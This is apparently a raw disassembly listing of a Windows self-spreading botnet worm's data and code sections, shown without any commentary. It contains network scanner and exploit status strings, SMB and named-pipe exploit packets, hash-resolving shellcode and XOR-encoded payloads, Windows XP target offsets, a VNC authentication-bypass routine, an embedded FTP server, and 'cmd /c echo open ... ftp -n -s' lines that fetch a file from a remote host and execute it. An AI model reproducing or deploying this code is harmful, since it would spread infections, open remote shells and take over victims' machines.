		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43180C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431848	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431874	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4318D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4318F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431948	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A18	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A4C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A74	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AEC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C40	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C48	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C4C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C54	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D0C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D18	db  81h	; │		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D64	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DA8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EA4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EBA
		mov	[esi+8], eax
		call	sub_431E6D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EBA
		mov	[esi+0Ch], eax
		call	sub_431E1F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EBA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E1F	proc near		; CODE XREF: sub_431DA8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E48
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E48	proc near		; CODE XREF: sub_431E1F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_431E57:				; CODE XREF: sub_431E48+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E64
		inc	ebx
		jmp	short loc_431E57
; ---------------------------------------------------------------------------


loc_431E64:				; CODE XREF: sub_431E48+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E6D	proc near		; CODE XREF: sub_431DA8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_431E85:				; CODE XREF: sub_431E6D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E8D
		mov	ecx, [ecx]
		jmp	short loc_431E85
; ---------------------------------------------------------------------------


loc_431E8D:				; CODE XREF: sub_431E6D+1Aj
		mov	edx, edi


loc_431E8F:				; CODE XREF: sub_431E6D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431E99
		mov	edx, [edx+4]
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------


loc_431E99:				; CODE XREF: sub_431E6D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EA4	proc near		; CODE XREF: sub_431DA8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EBA	proc near		; CODE XREF: sub_431DA8+16p
					; sub_431DA8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_431ED0:				; CODE XREF: sub_431EBA+33j
		jecxz	short loc_431F0A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_431EDD:				; CODE XREF: sub_431EBA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EE9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EDD
; ---------------------------------------------------------------------------


loc_431EE9:				; CODE XREF: sub_431EBA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_431F0A:				; CODE XREF: sub_431EBA:loc_431ED0j
					; sub_431EBA:loc_431F0Aj
		jmp	short loc_431F0A
sub_431EBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F10	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F62
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_431F2D:				; CODE XREF: sub_431F10+38j
		jecxz	short loc_431F5D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_431F38:				; CODE XREF: sub_431F10+32j
		lodsb
		test	al, al
		jz	short loc_431F44
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F38
; ---------------------------------------------------------------------------


loc_431F44:				; CODE XREF: sub_431F10+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F2D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_431F5D:				; CODE XREF: sub_431F10:loc_431F2Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F62	proc near		; CODE XREF: sub_431F10+7p

; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F7B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F86
; ---------------------------------------------------------------------------


loc_431F7B:				; CODE XREF: sub_431F62+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_431F86:				; CODE XREF: sub_431F62+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431F9A
sub_431F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F8D	proc near		; CODE XREF: sub_431F62:loc_431F9Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F62


loc_431F9A:				; CODE XREF: sub_431F62+29j
		call	sub_431F8D


loc_431F9F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F62
; ---------------------------------------------------------------------------
		dw 0
dword_431FA4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FB4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FB8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_431FC4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FCC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FCC	dd 0			; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432038	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_432044:				; CODE XREF: ___:0043204Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432044
		inc	edi
		jz	short loc_43208B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320B3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43208B:				; CODE XREF: ___:00432051j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320EA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4320B0:				; CODE XREF: ___:004320DDj
		xor	[esi-25h], bl


loc_4320B3:				; CODE XREF: ___:00432059j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4320CC:				; CODE XREF: ___:004320FFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4320EA:				; CODE XREF: ___:00432091j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432176
		jo	short loc_4320CC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43210D+1
		add	bl, [edi]


loc_43210D:				; CODE XREF: ___:00432109j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432122+2
		cmp	ch, bh
		dec	edx


loc_432122:				; CODE XREF: ___:0043211Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432176:				; CODE XREF: ___:004320FDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4321FC
		sub	al, 0BCh
		jmp	near ptr 5445256Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198	dd 0EFFFC481h, 44FFFFh,	4321E4h	; DATA XREF: ___:0040DC32o
dword_4321A4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321A8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321AC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321C8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4321FC:				; CODE XREF: ___:00432180j
		push	eax
		xor	al, 29h


loc_4321FF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432208	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43221C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433508	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43350C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C70o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C7Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
